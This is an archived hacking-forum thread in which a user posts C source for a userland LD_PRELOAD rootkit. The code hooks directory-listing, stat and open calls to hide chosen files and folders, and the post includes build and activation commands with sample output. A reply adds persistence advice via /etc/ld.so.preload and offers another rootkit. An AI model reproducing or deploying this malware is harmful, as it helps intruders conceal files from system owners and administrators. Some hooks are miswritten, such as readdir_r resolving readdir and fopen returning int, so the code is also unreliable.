This forum is in archive mode. You will not be able to post new content.

Author Topic: [C][Snippet] Userland LD_PRELOAD rootkit  (Read 2341 times)

0 Members and 1 Guest are viewing this topic.

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
[C][Snippet] Userland LD_PRELOAD rootkit
« on: May 21, 2012, 09:45:10 PM »
I wrote this months ago and didn't finish it.

What is LD_PRELOAD?
It is an environment variable which tells the dynamic linker to load some libraries before the standard ones.

And what happens if your "preloaded" libraries contain some functions that already exist?
Your functions are loaded first. This can be useful for debugging, testing, tracking, or making an userland rootkit.

This simple example just tries to hide some files and folders. Is an example, it doesn't work very well (I didn't hook all of the functions that can be used for listing/opening).

rkit.c
Code: (C) [Select]
#define _GNU_SOURCE

#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <libgen.h>

int is_file_hidden (const char *);
int is_fold_hidden (const char *);

char *hidden_files[] = { "insanekit.so", "insanetest.txt", NULL };
char *hidden_procs[] = { "insaneproc", NULL };
char *hidden_folds[] = { "insanefolder", NULL };

int chmod(const char *file, mode_t mode)
{
    int (*chmod_orig)(const char *, mode_t);
    chmod_orig = dlsym(RTLD_NEXT, "chmod");
    return chmod_orig(file, mode);
}

int readdir_r(DIR *dirp, struct dirent *entry, struct dirent **result)
{
    int (*readdir_r_orig)(DIR *, struct dirent *, struct dirent **);
    readdir_r_orig = dlsym(RTLD_NEXT, "readdir");
    return readdir_r_orig(dirp, entry, result);
}

struct dirent *readdir(DIR *dirp)
{
    struct dirent * (*readdir_orig)(DIR *);
    readdir_orig = dlsym(RTLD_NEXT, "readdir");
    struct dirent *res = readdir_orig(dirp);
   
    if (res == NULL)
        return res;
   
    if (is_file_hidden(res->d_name) || is_fold_hidden(res->d_name))
        return readdir(dirp);
   
    return res;
}

DIR *opendir(const char *name)
{
    DIR * (*opendir_orig)(const char *);
   
    if (is_fold_hidden(name)) {
        errno = ENOTDIR;
        return NULL;
    }   

    opendir_orig = dlsym(RTLD_NEXT, "opendir");
    return opendir_orig(name);
}

int stat(const char * path, struct stat * buf)
{
    int (*stat_orig)(const char *, struct stat *);

    if (is_file_hidden(path) || is_fold_hidden(path)) {
        errno = ENOENT;
        return -1;
    }
   
    stat_orig = dlsym(RTLD_NEXT, "stat");
    return stat_orig(path, buf);   
}

int lstat(const char * path, struct stat * buf)
{
    int (*lstat_orig)(const char *, struct stat *);

    if (is_file_hidden(path) || is_fold_hidden(path)) {
            errno = ENOENT;
            return -1;
    }

    lstat_orig = dlsym(RTLD_NEXT, "lstat");
    return lstat_orig(path, buf);
}

int fopen(const char *path, const char *mode)
{
    int (*fopen_orig)(const char *, const char *);
    if (is_file_hidden(path) || is_fold_hidden(path)) {
        errno = ENOENT;
        return 0;
    }

    fopen_orig = dlsym(RTLD_NEXT, "fopen");
    return fopen_orig(path, mode);
}

int open(const char *file, const char *oflag, mode_t mode)
{
    int (*open_orig)(const char *, const char *, mode_t);
    if (is_file_hidden(file) || is_fold_hidden(file)) {
        errno = ENOENT;
        return 0;
    }

    open_orig = dlsym(RTLD_NEXT, "open");
    return open_orig(file, oflag, mode);
}

int is_file_hidden(const char *file)
{
    int i = 0;
    while (hidden_files[i] != NULL) {
        if (strcmp(hidden_files[i], basename((char *)file))==0)
            return 1;
        i++;
    }
    i = 0;
    while (hidden_folds[i] != NULL) {
        if (strcmp(hidden_folds[i], basename((char *)file))==0)
            return 1;
        i++;
    }       
    return 0;
}

int is_fold_hidden(const char *folder)
{
    int i = 0;   
    while (hidden_folds[i] != NULL) {
        if (strcmp(basename(dirname((char *)folder)), hidden_folds[i])==0)
            return 1;
        i++;
    }   
    return 0;
}

Code: [Select]
[ca0s@st4ck-3rr0r RootKit]$ gcc -fPIC -ldl -shared -o my_libc.so rkit.c
[ca0s@st4ck-3rr0r RootKit]$ ls
insanefolder  insanetest.txt  jeje  my_libc.so  rkit.c  test  test.c
[ca0s@st4ck-3rr0r RootKit]$ export LD_PRELOAD=/home/ca0s/Codigos/RootKit/my_libc.so 
[ca0s@st4ck-3rr0r RootKit]$ ls
jeje  my_libc.so  rkit.c  test  test.c
[ca0s@st4ck-3rr0r RootKit]$

Offline NeX

  • Peasant
  • *
  • Posts: 74
  • Cookies: 5
    • View Profile
Re: [C][Snippet] Userland LD_PRELOAD rootkit
« Reply #1 on: May 21, 2012, 11:47:33 PM »
A thing you forgot to mention:
Files listed in /etc/ld.so.preload get loaded before the LD_PRELOAD env.
And..
Why not use strstr() instead of strcmp()? You have to recompile for EVERY new file you want to hide :( You can use strstr() for getting prefix/suffix of files and avoid the recompiling part ;)
I've rebuilt the ncom rootkit a year ago.. I have it lying around here somewhere.. If you're interested enough I can post it in the VIP section or PM you or something..

Interesting method, but it's unstable.

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: [C][Snippet] Userland LD_PRELOAD rootkit
« Reply #2 on: May 22, 2012, 10:14:47 AM »
This was coded in a break of studying, I found it and I posted as a simple example.
But you are right in everything you said.
I would love to see the code you mentioned btw.

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.